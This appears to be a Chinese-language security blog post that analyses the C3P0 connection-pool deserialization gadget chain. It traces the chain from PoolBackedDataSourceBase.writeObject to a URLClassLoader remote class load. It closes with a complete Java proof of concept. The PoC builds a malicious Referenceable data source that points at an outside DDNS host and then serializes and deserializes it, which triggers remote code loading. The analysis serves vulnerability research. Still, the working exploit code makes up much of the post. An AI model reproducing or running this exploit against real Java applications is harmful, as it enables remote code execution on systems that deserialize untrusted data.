C3P0
C3P0(Connection Pool 3.0)是一个用于管理数据库连接池的开源 Java 库,实现了数据源和 JNDI 绑定,支持 JDBC3 规范和 JDBC2 的拓展,在很多开源项目中都使用到。
原始调用链分析
先看看 com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase 类的 writeObject() 方法,在序列化时,会尝试序列化变量 connectionPoolDataSource ,如果 connectionPoolDataSource 是不可序列化的对象,则使用 ReferenceIndirector.indirectForm() 进行封装
 ](http://www.ysfssb.com/usr/uploads/2026/01/4210692399.png)
跟进 indirectForm() 方法,会调用 javax.naming.Referenceable#getReference() 返回一个 Reference 对象,并用 ReferenceSerialized 封装后返回
 ](http://www.ysfssb.com/usr/uploads/2026/01/3834003337.png)
在反序列化时重新生成 ConnectionPoolDataSource 对象
 ](http://www.ysfssb.com/usr/uploads/2026/01/2321925450.png)
跟进 getObject() 方法,调用 javax.naming.Context.lookup() 通过 JNDI 获取对象。当 env、contextName 为 null 时则会调用 com.mchange.v2.naming.ReferenceableUtils.referenceToObject() 加载远程对象
 ](http://www.ysfssb.com/usr/uploads/2026/01/3136773454.png)
referenceToObject() 方法就是一个简单的 URLClassLoader 加载远程对象
 ](http://www.ysfssb.com/usr/uploads/2026/01/2318837555.png)
所以这个调用链的构造就很简单了,构造一个带有恶意利用的 ConnectionPoolDataSource 对象,通过远程加载实现利用。这个地方的 contextName 没法控制,所以不能通过 lookup 实现 JNDI 注入。
POC
package org.example;
import java.io.IOException;
import java.io.PrintWriter;
import java.lang.reflect.InvocationTargetException;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;
import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import TOOl.Reflections;
import com.mchange.v2.c3p0.PoolBackedDataSource;
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import static TOOl.tool.serialize;
import static TOOl.tool.unserialize;
public class C3P0 {
private static final class PoolSource implements ConnectionPoolDataSource, Referenceable {
private String className;
private String url;
public PoolSource ( String className, String url ) {
this.className = className;
this.url = url;
}
public Reference getReference () throws NamingException {
return new Reference("exploit", this.className, this.url);
}
public PrintWriter getLogWriter () throws SQLException {return null;}
public void setLogWriter ( PrintWriter out ) throws SQLException {}
public void setLoginTimeout ( int seconds ) throws SQLException {}
public int getLoginTimeout () throws SQLException {return 0;}
public Logger getParentLogger () throws SQLFeatureNotSupportedException {return null;}
public PooledConnection getPooledConnection () throws SQLException {return null;}
public PooledConnection getPooledConnection ( String user, String password ) throws SQLException {return null;}
}
public static void main(String[] args) throws IllegalAccessException, InvocationTargetException, NoSuchMethodException, InstantiationException, IOException, ClassNotFoundException {
String url = "http://www.bb5dc2b5e9.ddns.1433.eu.org";
String className = "Expolit";
PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class);
Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource(className, url));
String serialize = serialize(b);
unserialize(serialize);
}
}
 ](http://www.ysfssb.com/usr/uploads/2026/01/617609061.png)